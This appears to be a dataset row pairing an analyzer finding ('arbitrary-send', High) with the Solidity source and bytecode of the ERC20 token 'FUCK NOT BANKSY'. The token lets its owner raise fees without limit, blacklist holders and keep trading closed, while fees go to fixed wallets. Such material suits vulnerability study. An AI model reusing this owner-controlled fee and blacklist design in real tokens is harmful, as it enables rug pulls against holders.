ffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b610e1c82826118b5565b505050565b600360009054906101000a900460ff1681565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f45576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd9565b610f58838261188090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126b57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561136a5780601f1061133f5761010080835404028352916020019161136a565b820191906000526020600020905b81548152906001019060200180831161134d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113af57600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113fd57600080fd5b61144f82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114e482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061162782600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561187457600080fd5b61187d81611a25565b50565b600082821115151561188e57fe5b818303905092915050565b600081830190508281101515156118ac57fe5b80905092915050565b60006118cc8260045461189990919063ffffffff16565b60048190555061192482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a6157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820dacb94d22a8677151851bd3ca4591cb114a52e535a44c1fdf89035d52a4593a50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,065 |
0xc93add01999ee0357eb52a39a041f3aed79d84a2
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FUCKNOTBANKSY is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "FUCK NOT BANKSY";//////////////////////////
string private constant _symbol = "FKNB";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromMaxTx;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 5;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x86E53BA3c67b3411eC618b6bde4EbacB406f4326);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xb4BfaD6a4f1BCa8240c3bDc27257CB7661c53649);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000 * 10**9; //1.5%
uint256 public _maxWalletSize = 250000 * 10**9; //2.5%
uint256 public _swapTokensAtAmount = 100000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to]) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function excludeMultipleAccountsFromTxs(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromMaxTx[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054c578063dd62ed3e1461056c578063ea1644d5146105b2578063f2fde38b146105d257600080fd5b8063a2a957bb146104c7578063a9059cbb146104e7578063bfd7928414610507578063c3c8cd801461053757600080fd5b80638f70ccf7116100d15780638f70ccf7146104445780638f9a55c01461046457806395d89b411461047a57806398a5c315146104a757600080fd5b806374010ece146103f05780637d1db4a5146104105780638da5cb5b1461042657600080fd5b8063313ce5671161016f5780636d8aa8f81161013e5780636d8aa8f8146103865780636fc3eaec146103a657806370a08231146103bb578063715018a6146103db57600080fd5b8063313ce5671461030a5780634058e5a61461032657806349bd5a5e146103465780636b9990531461036657600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a44565b6105f2565b005b34801561020a57600080fd5b5060408051808201909152600f81526e4655434b204e4f542042414e4b535960881b60208201525b60405161023f9190611b09565b60405180910390f35b34801561025457600080fd5b50610268610263366004611b5e565b610691565b604051901515815260200161023f565b34801561028457600080fd5b50601554610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50662386f26fc100005b60405190815260200161023f565b3480156102e057600080fd5b506102686102ef366004611b8a565b6106a8565b34801561030057600080fd5b506102c660195481565b34801561031657600080fd5b506040516009815260200161023f565b34801561033257600080fd5b506101fc610341366004611bdb565b610711565b34801561035257600080fd5b50601654610298906001600160a01b031681565b34801561037257600080fd5b506101fc610381366004611c5f565b6107b2565b34801561039257600080fd5b506101fc6103a1366004611c7c565b6107fd565b3480156103b257600080fd5b506101fc610845565b3480156103c757600080fd5b506102c66103d6366004611c5f565b610890565b3480156103e757600080fd5b506101fc6108b2565b3480156103fc57600080fd5b506101fc61040b366004611c97565b610926565b34801561041c57600080fd5b506102c660175481565b34801561043257600080fd5b506000546001600160a01b0316610298565b34801561045057600080fd5b506101fc61045f366004611c7c565b610955565b34801561047057600080fd5b506102c660185481565b34801561048657600080fd5b506040805180820190915260048152632325a72160e11b6020820152610232565b3480156104b357600080fd5b506101fc6104c2366004611c97565b61099d565b3480156104d357600080fd5b506101fc6104e2366004611cb0565b6109cc565b3480156104f357600080fd5b50610268610502366004611b5e565b610a0a565b34801561051357600080fd5b50610268610522366004611c5f565b60116020526000908152604090205460ff1681565b34801561054357600080fd5b506101fc610a17565b34801561055857600080fd5b506101fc610567366004611bdb565b610a6b565b34801561057857600080fd5b506102c6610587366004611ce2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105be57600080fd5b506101fc6105cd366004611c97565b610b06565b3480156105de57600080fd5b506101fc6105ed366004611c5f565b610b35565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161061c90611d1b565b60405180910390fd5b60005b815181101561068d5760016011600084848151811061064957610649611d50565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068581611d7c565b915050610628565b5050565b600061069e338484610c1f565b5060015b92915050565b60006106b5848484610d43565b610707843361070285604051806060016040528060288152602001611e94602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611295565b610c1f565b5060019392505050565b6000546001600160a01b0316331461073b5760405162461bcd60e51b815260040161061c90611d1b565b60005b828110156107ac57816006600086868581811061075d5761075d611d50565b90506020020160208101906107729190611c5f565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107a481611d7c565b91505061073e565b50505050565b6000546001600160a01b031633146107dc5760405162461bcd60e51b815260040161061c90611d1b565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161061c90611d1b565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061087a57506014546001600160a01b0316336001600160a01b0316145b61088357600080fd5b4761088d816112cf565b50565b6001600160a01b0381166000908152600260205260408120546106a290611354565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161061c90611d1b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109505760405162461bcd60e51b815260040161061c90611d1b565b601755565b6000546001600160a01b0316331461097f5760405162461bcd60e51b815260040161061c90611d1b565b60168054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c75760405162461bcd60e51b815260040161061c90611d1b565b601955565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161061c90611d1b565b600993909355600b91909155600a55600c55565b600061069e338484610d43565b6013546001600160a01b0316336001600160a01b03161480610a4c57506014546001600160a01b0316336001600160a01b0316145b610a5557600080fd5b6000610a6030610890565b905061088d816113d8565b6000546001600160a01b03163314610a955760405162461bcd60e51b815260040161061c90611d1b565b60005b828110156107ac578160056000868685818110610ab757610ab7611d50565b9050602002016020810190610acc9190611c5f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610afe81611d7c565b915050610a98565b6000546001600160a01b03163314610b305760405162461bcd60e51b815260040161061c90611d1b565b601855565b6000546001600160a01b03163314610b5f5760405162461bcd60e51b815260040161061c90611d1b565b6001600160a01b038116610bc45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061c565b6001600160a01b038216610ce25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061c565b6001600160a01b038216610e095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061c565b60008111610e6b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061c565b6001600160a01b03831660009081526006602052604090205460ff16158015610ead57506001600160a01b03821660009081526006602052604090205460ff16155b1561118e57601654600160a01b900460ff16610f46576000546001600160a01b03848116911614610f465760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061c565b601754811115610f985760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061c565b6001600160a01b03831660009081526011602052604090205460ff16158015610fda57506001600160a01b03821660009081526011602052604090205460ff16155b6110325760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061c565b6016546001600160a01b038381169116146110b7576018548161105484610890565b61105e9190611d95565b106110b75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061c565b60006110c230610890565b6019546017549192508210159082106110db5760175491505b8080156110f25750601654600160a81b900460ff16155b801561110c57506016546001600160a01b03868116911614155b80156111215750601654600160b01b900460ff165b801561114657506001600160a01b03851660009081526005602052604090205460ff16155b801561116b57506001600160a01b03841660009081526005602052604090205460ff16155b1561118b57611179826113d8565b47801561118957611189476112cf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111d057506001600160a01b03831660009081526005602052604090205460ff165b8061120257506016546001600160a01b0385811691161480159061120257506016546001600160a01b03848116911614155b1561120f57506000611289565b6016546001600160a01b03858116911614801561123a57506015546001600160a01b03848116911614155b1561124c57600954600d55600a54600e555b6016546001600160a01b03848116911614801561127757506015546001600160a01b03858116911614155b1561128957600b54600d55600c54600e555b6107ac84848484611552565b600081848411156112b95760405162461bcd60e51b815260040161061c9190611b09565b5060006112c68486611dad565b95945050505050565b6013546001600160a01b03166108fc6112e9836002611580565b6040518115909202916000818181858888f19350505050158015611311573d6000803e3d6000fd5b506014546001600160a01b03166108fc61132c836002611580565b6040518115909202916000818181858888f1935050505015801561068d573d6000803e3d6000fd5b60006007548211156113bb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061c565b60006113c56115c2565b90506113d18382611580565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142057611420611d50565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611479573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149d9190611dc4565b816001815181106114b0576114b0611d50565b6001600160a01b0392831660209182029290920101526015546114d69130911684610c1f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150f908590600090869030904290600401611de1565b600